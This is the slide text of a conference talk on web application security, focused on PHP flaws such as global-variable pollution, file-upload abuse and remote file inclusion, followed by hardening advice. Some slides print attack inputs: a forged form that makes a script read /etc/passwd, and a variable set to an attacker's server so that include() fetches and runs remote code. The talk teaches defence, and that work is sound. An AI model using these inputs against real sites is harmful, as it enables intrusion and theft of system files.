Breaking In Through The Front Door

1. Breaking In Through The Front Door The Impact of Web Applications and Application Service Provision on Traditional Security Models Shaun Clowes – shaun@securereality.com.au

2. Overview • A Brief History of Computing • Web Application environments • Dangers of Web Applications • Exploiting PHP Applications • Testing Web Applications • Protecting Web Applications • Questions?

3. A Brief History Of Computing • How has the security problem space evolved over time? • What new problems are we facing? • Are we eliminating old problems?

4. Ancient History • Ancient History – 1940’s and 50’s • Eniac, Univac etc. • Not exactly many security issues

5. Commercial Computing • Early 1960’s • Transistors and later Integrated Circuits • IBM’s 701 and later 360 • Batch processing • Still not exactly difficult to secure

6. Multi User Systems • Late 1960’s • IBM’s 360/67, CP/CMS and later VM/CMS • Terminals • Security begins to become an issue • Students stealing CPU time

7. Centralized Computing • 1970 • PDP Machines • The birth of Unix • Word processing, true multi user operating systems • Attacks against local applications and social engineering

8. Client / Server • Late 1970’s and early 1980’s • Microcomputers interfacing with Minicomputers and Mainframes • Advent of ‘Network Services’ • Security becomes a larger problem space • Attacks against open services • The advent of anonymity

9. The Internet • Circa Late 1987 to now • Unix supports TCP/IP, commercial connections • Security explodes, threat rises dramatically • Complete anonymity • Service attacks become widespread • The Morris Worm - 1988

10. The Defence • Internet not friendly • Attacks: • Local Applications • Social Engineering • Externally Accessible Services • Developed defence technologies

11. Firewalls • Packet Filters • IP routers with filters • Application Layer • Marcus Ranum – DEC SEAL • Stateful Inspection • Gil Shwed – Firewall 1 - Checkpoint • Limiting exposure of services

12. Intrusion Detection Systems • Network Based • Network Flight Recorder, Snort etc • Detect • Host Based • LIDS etc • Detect, Prevent • Limit anonymity, • Limit timeframe for attacks

13. Defence Weaknesses • Local attacks still very common where command execution is possible • Administrators actively patch multi user machines • Access to other machines (e.g Web Servers) limited to trusted users

14. Where Are We Headed?

15. Where Are We Headed?

16. Architecture

17. Architecture Benefits • No client side software (web browser) • No versioning issues • No platform compatibility issues • 3rd tier servers behind firewall, not directly accessible • Web Applications run on trusted machine • Can they trust their environment?

18. Architecture Drawbacks • Processing load on web server • Can be complex to develop in traditional languages

19. Architecture Risks • Web Applications must be secure • Can access 3rd tier servers with privileges • Subverted Web Applications not controlled (typically) by Firewall • IDS unlikely to see attacks against Web Applications • Web Applications do not fit into security model for Centralized or Client/Server computing

20. The Result • Despite risks/drawbacks, Web Applications being deployed in increasing numbers • So what sort of attacks are we exposing ourselves to?

21. Attack Scenarios - 1 • Attack SQL queries including client input • Gain elevated privileges to • Application – See Attack Scenario 2 • Database server • Use access on Database server to further elevate privileges • On DB Server via local exploits • On other hosts by trust relationships and service attacks

22. Attack Scenarios 1 cont. • SQL attacks well covered elsewhere, not focus here • For more information: • Search BugTraq • David Litchfield – “Remote Web Application Dissassembly with ODBC Error Messages”

23. Attack Scenarios 2 • Attack vulnerabilities in Web Application code or environment • Results in: • Elevated Privileges in Application • Exploit Application further • Local Code Execution • Exploit local vulnerabilities (little patching) • Exploit trust relationships with 3rd tier • End Result: • Major privileges on network

24. Other Attack Scenario’s • Other Attacks possible against underlying Architecture (e.g Web Server) • Well covered in JD Glaser’s presentation

25. Driving the Change • Web Applications previously developed in: • Perl • C • Not designed for the Web • Web Languages developed: • PHP • ASP (VBScript) • ColdFusion

26. Web Languages • 4th Generation Languages • Tags embedded in HTML pages • Very feature rich • Designed to be simple • Coding falls to Web Designers

27. Web Languages - Issues • Languages make it hard to write secure applications (especially PHP) • One function can behave in many ways (for ease of use) • Loosely typed, no variable declaration • Blur border between user input and application variables • Software written by non coders, don’t understand issues

28. Focus on PHP • PHP = “PHP Hypertext Preprocessor” • Installed on 37% of Apache servers (E-Soft Web Survey) • Lots of applications being written for it • Discuss • Common mistakes with PHP • How PHP makes secure code difficult

29. PHP – Global Input Variables • Form variables end up as global variables in script • For Example: • When submitted, the variable $hello in PHP contains the value specified in the form <FORM ACTION="<name>.php" METHOD="post"> <INPUT TYPE="text" NAME="hello"> <INPUT TYPE="submit"> </FORM>

30. PHP – Global Input Variables • Attacker can pollute the global namespace • For Example: • A script sets the variable $auth to true if its authenticated the remote user • The attacker provides auth as true through form input • Script cannot trust any variable it hasn’t explicitly set

31. PHP – File Upload • SecureReality Advisory 1 (SRADV00001) • Automatically handles RFC 1867 • For Example: • If file is less than max_file_size its saved locally (usually in /tmp) <FORM ENCTYPE=“multipart/form-data” ACTION="<name>.php" METHOD="post"> <INPUT TYPE="hidden" name="MAX_FILE_SIZE" value="1000"> <INPUT TYPE=“file" NAME="hello"> <INPUT TYPE="submit"> </FORM>

32. PHP – File Upload • The script is given variables • $hello = Location of file on local system • $hello_name = Remote filename • $hello_size = Byte size of file • $hello_type = MIME Type of file

33. PHP – File Upload • An attacker can set max_file_size to an arbitrary value • Gain? • Limited by PHP configuration directive upload_max_filesize • Just submit multiple files • Still limited by maximum execution time

34. PHP – File Upload • An attacker can get the application to work on a file local to the machine • Use a form like: • We’ve used our ability to affect global variables to create the variables expected by the script <FORM ACTION="<name>.php" METHOD="post"> <INPUT TYPE=“hidden" NAME="hello“ VALUE=“/etc/passwd”> <INPUT TYPE=“hidden” NAME=“hello_size” VALUE=“100”> <INPUT TYPE=“hidden” NAME=“hello_type” VALUE=“text/plain”> <INPUT TYPE=“hidden” NAME=“hello_name” VALUE=“hello”> <INPUT TYPE="submit"> </FORM>

35. PHP – File Upload • This will often lead to exposure of sensitive file contents • Hard to detect this attack in all but the most recent versions of PHP • Latest versions make this easy to detect • Latest documentation makes the problem clear • Problem still common

36. PHP – Remote Files • Typical file operations support Remote Files functionality • The following code opens a file: • If $hello beings with http:// or ftp:// PHP will go to network <?php If (!($file = fopen(“$hello”, “r”)) echo(“Could not open file!”); ?>

37. PHP – Remote Files • How does an attacker use it? • Remote Files works for most file operations in PHP • Include() and require() read a file and interpret it as though it were PHP code • Typically used to support “library” concept

38. PHP – Remote Files • For example: • $langdir is a configuration variable specifying the directory for scripts for a certain language <?php … include(“$langdir/phrases.php”); ?>

39. PHP – Remote Files • The attacker can set $confdir with form input • If she can prevent the script overwriting it she can submit: http://<myevilserver> • If the attacker creates a file on their webserver called languages.php • Code execution

40. PHP - Parsing • Certain file types are configured in the web server to be parsed as PHP • Other types could well be returned as plain text • PHP Library files are typically named <library>.php, so they cannot have source retrieved

41. PHP – Parsing • Thus remote user can remotely request a library file and have it parsed • Loss of dependencies • Code can no longer rely on an environment

42. Real Life Vulnerabilities • Following are several in depth examples of security compromises through popular open source PHP Web Applications. • Attacks are via Web Browser • No special software • Breaking in through the front door • Attacks are normal HTTP requests

43. Vulnerabilities • At time of writing vendors have not been notified of the vulnerabilities to be discussed. They have thus been omitted from this version of the presentation. • After the presentation the full slides will be available at http://www.securereality.com.au and http://www.blackhat.com

44. Vulnerabilities - Conclusion • Exploiting PHP often like catching fish from a barrel • Code running on trusted host, in trusted network but still cannot trust its environment

45. Finding the Holes • File upload issues • Change file upload fields to hidden fields • Just try • Hidden fields • Often configuration variables • Modify them • Normal fields • Try special characters, ‘/\:;’

46. Finding the Holes • Getting the source: • Open source – Full or modified • IIS Holes • Unicode exploit • showcode.asp • .htr hole • Translate: f hole • …. many more • FTP to web server (anonymous)

47. Finding the Holes • Getting the source: • Non parsed backup files: • .bak, .tmp, .old, .bac, .backup, .orig, .temp, .000, .~1, .php~, etc. • File upload PHP exploitation • Spotting holes in source: • Grep! • Look for ‘vulnerable’ operations with variable substitution

48. Finding the Holes • Vulnerable operations: • PHP Functions: include(), require(), eval(), exec(), passthru(), ``, system(), popen(), fopen(), readfile(), file() • Variable functions: • Variable dereferencing: $hello = “echo \”hi!\””; $hello(); $hello = “confdir”; $$hello = “http://myhost”; echo “$confdir”;

49. Securing PHP • Later versions of PHP are very configurable • Drastic Measures: • Set open_basedir • Prevents any file open operations on files outside specified directories • register_globals off • Protects environment from user pollution • The ultimate protection • Breaks 99.99% of existing scripts

50. Securing PHP • Drastic Measures cont: • safe_mode on • Heaps of restrictions • Restrict which commands can be executed • Disable functions, e.g exec(), system() • Restricts file access based on ownership • Kills file upload • Designed for use in ISP environments